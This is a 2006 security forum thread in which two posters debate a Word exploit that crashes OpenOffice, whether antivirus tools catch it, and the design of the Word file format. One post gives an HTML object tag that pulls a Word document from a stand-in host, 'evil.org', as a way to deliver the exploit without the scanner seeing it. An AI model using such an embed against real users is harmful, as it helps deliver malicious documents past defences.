Recent word exploit also causes problems in OpenOffice

Discussion in 'Computer Security' started by MC, Dec 21, 2006.

  1. MC

    MC Guest

    Exploit for Word also works with OpenOffice

    The exploit for the third unpatched security hole in Word reported last
    week also works in OpenOffice 2.1. If a prepared Word document is opened
    in OpenOffice Writer under Windows XP SP2, Writer crashes. The dialogue
    for document recovery then appears. Under Linux, the application also
    crashes, prompting the message that the main memory is full.

    It has not yet, however, been demonstrated that code can be injected via
    this weak point in OpenOffice. But there are unconfirmed reports that
    this is possible. In contrast, the hole in Word is reportedly already
    being actively used to infect systems. In a test, Kaspersky's virus
    scanner detected the exploit and deleted the file. But not all virus
    scanners provide protection from such attacks, as a scan for the
    malicious code at Virustotal showed this week.

    Not all virus scanners recognize the seven day old exploit.
    As of 19-12-2006, the following AV suites detected the exploit:
    AntiVir, BitDefender, ClamAV, Fortinet, Ikarus, Kaspersky, McAfee,
    Microsoft, NOD and Panda.

    Others soon to follow, but extra care should be taken in the meantime.

    Related links
    http://www.heise-security.co.uk/news/82548
    http://blogs.technet.com/msrc/archive/2006/12/15/update-on-current-word-vulnerability-reports.aspx
    MC, Dec 21, 2006
    #1
    1. Advertising

  2. MC wrote:

    > It has not yet, however, been demonstrated that code can be injected via
    > this weak point in OpenOffice. But there are unconfirmed reports that
    > this is possible.


    Shows how well they know using a debugger. The flaw is not exploitable,
    since no multiplication or addition takes place, thus no integer overflow
    occurs. After all, that's also pretty much what one could expect from a big
    memory allocation error.

    > In a test, Kaspersky's virus
    > scanner detected the exploit and deleted the file. But not all virus
    > scanners provide protection from such attacks, as a scan for the
    > malicious code at Virustotal showed this week.


    No virus scanner provides protection from that attack, since you can simply
    use exploitation pathes that aren't covered by virus scanners. Trivial
    example: A website containing <object type="application/x-msword"
    data="https://evil.org/gendoc.pl?foo=bar"></object>. D'oh, executes
    directly in memory.

    > Others soon to follow, but extra care should be taken in the meantime.


    Nonsense. MS Word is insecure by design, so every untrusted document has to
    be validated and normalized before opening it. (Common tools for doing so
    are OpenOffice and AbiWord...)
    Sebastian Gottschalk, Dec 22, 2006
    #2
    1. Advertising

  3. MC

    MC Guest

    Sebastian Gottschalk wrote:
    > Nonsense. MS Word is insecure by design, so every untrusted document has to
    > be validated and normalized before opening it. (Common tools for doing so
    > are OpenOffice and AbiWord...)

    My point being that OpenOffice crashes upon opening of the document,
    despite the validation. And my comment was about virus scanners picking
    it up, and since it's a new exploit, more AV suites will soon follow in
    detection of this malicious code, but that caution is needed in the
    meantime. So you probably misread what I was getting at.

    I'm even willing to go further. If you -must- distribute a document with
    layout and graphics in place, do so in a portable format that can be
    opened on any system, like RTF, OpenDocument (which is an ISO standard
    if I recall correctly) or PDF, to name a few, depending on your needs.
    I'm quite opposed to the widespread use of Word documents as general
    text processing format to be sent to others. Not to mention using Word
    documents as e-mail bodies like some people do, often not even realising
    it can't easily be opened or read on, say, a Linux system...
    Simply put: too many bells and whistles to the format which causes the
    potential risk of the document viruses and exploits we've seen over the
    years; this one no different.

    I thought this was of note since the exploit apparently uses a common
    component that is -not- specific to Microsoft Word, and also crashes
    OpenOffice. A warning in place for people that will likely have multiple
    documents open that, with a crash of the program, may lose data.

    But no matter how much you hate Microsoft, the Office suite is in use by
    quite the chunk of the administrative offices around the world, so you
    can expect the format to be widespread (since a lot of people don't seem
    to know what "save as..." does, or what format to choose instead of the
    default in that case)

    MC
    MC, Dec 22, 2006
    #3
  4. MC wrote:

    > Sebastian Gottschalk wrote:
    >> Nonsense. MS Word is insecure by design, so every untrusted document has to
    >> be validated and normalized before opening it. (Common tools for doing so
    >> are OpenOffice and AbiWord...)

    > My point being that OpenOffice crashes upon opening of the document,
    > despite the validation.


    OpenOffice doesn't even know the intimate details of the format, thus the
    validation is incomplete by import alone, completed at export.

    > And my comment was about virus scanners picking
    > it up, and since it's a new exploit, more AV suites will soon follow in
    > detection of this malicious code, but that caution is needed in the
    > meantime.


    And yes, that's nonsense, since virus scanners can't stop any exploitation
    path. If the exploiting document is loaded directly from a web source into
    memory (storing it into the browser cache in parallel, which can be
    detected), then it's simply too late. You will need caution until it's
    patched.

    And then, even afterwards, since MS Office is inherently insecure.

    > Simply put: too many bells and whistles to the format which causes the
    > potential risk of the document viruses and exploits we've seen over the
    > years; this one no different.


    It's an inherent issue. You don't need any experience to see why it's a
    problem.

    The problem is the format design: basically it's a serialized memory dump.

    When saving such a document, the data structures in memory are collected,
    serialized to primitive data types and written to the IDocumentStream COM
    Control, which breaks it down into a stream of bytes while preserving the
    structure.

    When loading a document, the reverse happens. The bytestreams is read by
    IDocumentStream, which outputs a series of primite types and their
    structure, which then get deserialized into the data structures.

    One obvious side effect is incompatibility among different program
    versions. Exactly the same memory state gets loaded, but hopefully olde
    program versions will simply ignore the additional data and thus get a
    stripped-down view on the document content. Anyone with some experience in
    software design knows that this is a bad idea and usually doesn't work so
    well, and we can see that this holds in practice.

    The other obvious issue is security. At no point there's any validation,
    everything is assumed to be consistent. However, the process allows all
    kind of invalid data structures to be directly loaded into the memory
    state, which then gets interpreted. Yikes!

    > I thought this was of note since the exploit apparently uses a common
    > component that is -not- specific to Microsoft Word, and also crashes
    > OpenOffice.


    But for a different cause. OpenOffice, being portable even to Linux, has to
    reimplement the IDocumentStream interface and the deserialization. This is
    where the problem arises: Because validation is done, but improperly, the
    invalid data causing the integer overflow are not getting loaded into the
    memory state, but are passed to a malloc() for proper initialization and
    validation. Too bad that the size of the struct is not checked so well, so
    indeed it tries to malloc() the unsized (and thus not overflowed) large
    dats structured, which fails with error, and sadly needs to a crash.
    Nothing more. Not exploitable, no serious problem, easily fixed, no
    inherently design issue.

    > A warning in place for people that will likely have multiple
    > documents open that, with a crash of the program, may lose data.


    Now that's what won't happen. OpenOffice, as usual, has an excellent crash
    recovery and regularly dumps all unsaved data, in a consistent way (unlike
    MS Office).
    Sebastian Gottschalk, Dec 23, 2006
    #4
  5. MC

    MC Guest

    Sebastian Gottschalk wrote:
    >> My point being that OpenOffice crashes upon opening of the document,
    >> despite the validation.

    > OpenOffice doesn't even know the intimate details of the format, thus the
    > validation is incomplete by import alone, completed at export.

    So why was your argument that it would be validated and normalized then?

    >> And my comment was about virus scanners picking
    >> it up, and since it's a new exploit, more AV suites will soon follow in

    > And yes, that's nonsense, since virus scanners can't stop any exploitation
    > path.

    Actually, it is an exploit in the program, regardless of which path is
    used to load the document. If you have a document on disk, and load it
    into OO, it -will- crash writer. This crash is -possibly- an entry point
    for an exploit. I am not familiar with the intimate details of the
    exploit myself, but in most cases, making a program crash due to an
    unhandled exception gives room for the insertion and execution of
    arbitrary code in memory.
    Virus scanners are always the combatants of symptoms, they always have
    been and always will be. Of course it is best if the source is fixed,
    whether that is hardware, software or wetware, but in practice you just
    can't always do that or assume it can be done quickly enough to not make
    it a problem.

    If the exploiting document is loaded directly from a web source into
    > memory (storing it into the browser cache in parallel, which can be
    > detected), then it's simply too late. You will need caution until it's
    > patched.

    This is a good reason why I don't like web browser plugins for this kind
    of file. It is also hard to intercept by an AV scanner for this very
    same reason, unless the actual data streams when browsing are scanned
    on-the-fly. Which means that if this becomes a real concern, that people
    should just stop using plugins that read the data directly, and instead
    use the conventional way of saving a document to disk and open it with
    the associated program instead of the browser.

    > And then, even afterwards, since MS Office is inherently insecure.

    Any person behind a PC doing anything is inherently insecure, too. Any
    Internet connection is too, for that matter.
    Sebastian, I understand you seem to have a deep rooted hatred against
    anything Microsoft, but it gets the job done and is widely used, which
    will not soon change. Leaving out the "additional" remarks thrown in
    like this would make for a much nicer discussion environment in this
    newsgroup. Any program is as secure as the one operating/using or
    configuring it.

    >> Simply put: too many bells and whistles to the format which causes the
    >> potential risk of the document viruses and exploits we've seen over the
    >> years; this one no different.

    > It's an inherent issue. You don't need any experience to see why it's a
    > problem.

    Indeed. That's why I suggested to use other formats if you don't need
    the extra functionality that comes with this kind of problem.

    > The problem is the format design: basically it's a serialized memory dump.

    If you say so. I find this a strange concept. A memory dump from one
    program or even program version would be, by definition, incompatible
    with another program or version.
    However, since you describe the filtering through a COM object, I don't
    see how this is different from any other file format being saved from an
    in-memory state through a parser to write out a structured file. An
    image when stored in memory, to name one thing, is different from what
    is written to disk, but it is still a serialized memory dump that gets
    restored when loading the file through the reverse process.
    MC, Dec 24, 2006
    #5
  6. MC wrote:

    > Sebastian Gottschalk wrote:
    >>> My point being that OpenOffice crashes upon opening of the document,
    >>> despite the validation.

    >> OpenOffice doesn't even know the intimate details of the format, thus the
    >> validation is incomplete by import alone, completed at export.

    > So why was your argument that it would be validated and normalized then?


    Well, indeed exactly that. OpenOffice can go fine without proper validation
    and normalization, but MS Office is at an immediate risk and OpenOffice can
    be used to accomplish this process.

    Obviously, if OpenOffice crashes, you'll never get the document into MS
    Office in first place, if such a preprocessing is strictly required. :)

    >>> And my comment was about virus scanners picking
    >>> it up, and since it's a new exploit, more AV suites will soon follow in

    >> And yes, that's nonsense, since virus scanners can't stop any exploitation
    >> path.

    > Actually, it is an exploit in the program, regardless of which path is
    > used to load the document. If you have a document on disk, and load it
    > into OO, it -will- crash writer. This crash is -possibly- an entry point
    > for an exploit.


    Is is not.

    > I am not familiar with the intimate details of the
    > exploit myself, but in most cases, making a program crash due to an
    > unhandled exception gives room for the insertion and execution of
    > arbitrary code in memory.


    Actually not. Most cases are null-pointer dereferences, which are not
    exploitable.

    > Virus scanners are always the combatants of symptoms, they always have
    > been and always will be. Of course it is best if the source is fixed,
    > whether that is hardware, software or wetware, but in practice you just
    > can't always do that or assume it can be done quickly enough to not make
    > it a problem.


    Well, you could simple remove the source of the problem.

    >> If the exploiting document is loaded directly from a web source into
    >> memory (storing it into the browser cache in parallel, which can be
    >> detected), then it's simply too late. You will need caution until it's
    >> patched.

    > This is a good reason why I don't like web browser plugins for this kind
    > of file.


    That's a strange argument. After all, specifically this exploit we're
    discussing can provably not be detected generically, so either the virus
    scanners' signatures are incomplete or way too broad. So, however you try,
    you won't be able to block such an attack vector.

    > It is also hard to intercept by an AV scanner for this very
    > same reason, unless the actual data streams when browsing are scanned
    > on-the-fly. Which means that if this becomes a real concern, that people
    > should just stop using plugins that read the data directly, and instead
    > use the conventional way of saving a document to disk and open it with
    > the associated program instead of the browser.


    Eh, and what about exploits for webbrowsers then? It's not that such a
    behaviour would be generelly avoidable. Not to mention how impractical such
    a lack of features is.

    Some people, on the other hand, don't use virus scanners at all.

    >> And then, even afterwards, since MS Office is inherently insecure.

    > Any person behind a PC doing anything is inherently insecure, too.


    Nonsense.

    > Any Internet connection is too, for that matter.


    Also nonsense.

    > Sebastian, I understand you seem to have a deep rooted hatred against
    > anything Microsoft, but it gets the job done


    Nonsense again. It doesn't even allow to store documents in a convient way,
    neither does it work consistently.

    > and is widely used, which will not soon change.


    Indeed. But not because it works, just because the people using it are too
    dumb to understand what's actually going on.

    > Any program is as secure as the one operating/using or configuring it.


    And even more nonsense. What do you think could proper configuration and
    handling do to prevent various attack vectors based on known but unfixable
    vulnerabilities. Best example: misusing MSIE as a webbrowser. Configure and
    patch it as you like, you will be trivially exploitable.

    > Indeed. That's why I suggested to use other formats if you don't need
    > the extra functionality that comes with this kind of problem.


    It's not about functionality. It's about the format itself.

    >> The problem is the format design: basically it's a serialized memory dump.

    > If you say so. I find this a strange concept. A memory dump from one
    > program or even program version would be, by definition, incompatible
    > with another program or version.
    > However, since you describe the filtering through a COM object, I don't
    > see how this is different from any other file format being saved from an
    > in-memory state through a parser to write out a structured file. An
    > image when stored in memory, to name one thing, is different from what
    > is written to disk, but it is still a serialized memory dump that gets
    > restored when loading the file through the reverse process.


    Don't twist parsing and serialization. Parsing does enforce constraints by
    creating new objects and filling them with the proper data, whereas
    serialization gives you an improper constructor for possible invalid
    objects.

    The COM object is just the serializer and has nothing to do with the issue.
    Sebastian Gottschalk, Dec 24, 2006
    #6
    1. Advertising

Want to reply to this thread or ask your own question?

It takes just 2 minutes to sign up (and it's free!). Just click the sign up button to choose a username and then you can ask your own questions on the forum.
Similar Threads
  1. Thaqalain
    Replies:
    0
    Views:
    686
    Thaqalain
    Jun 30, 2005
  2. Moo

    Recent problems playing DVD's

    Moo, May 1, 2004, in forum: DVD Video
    Replies:
    6
    Views:
    478
  3. Au79

    Hackers exploit hole in Microsoft Word

    Au79, Sep 8, 2006, in forum: Computer Support
    Replies:
    0
    Views:
    390
  4. Au79
    Replies:
    0
    Views:
    406
  5. Au79
    Replies:
    0
    Views:
    494
Loading...

Share This Page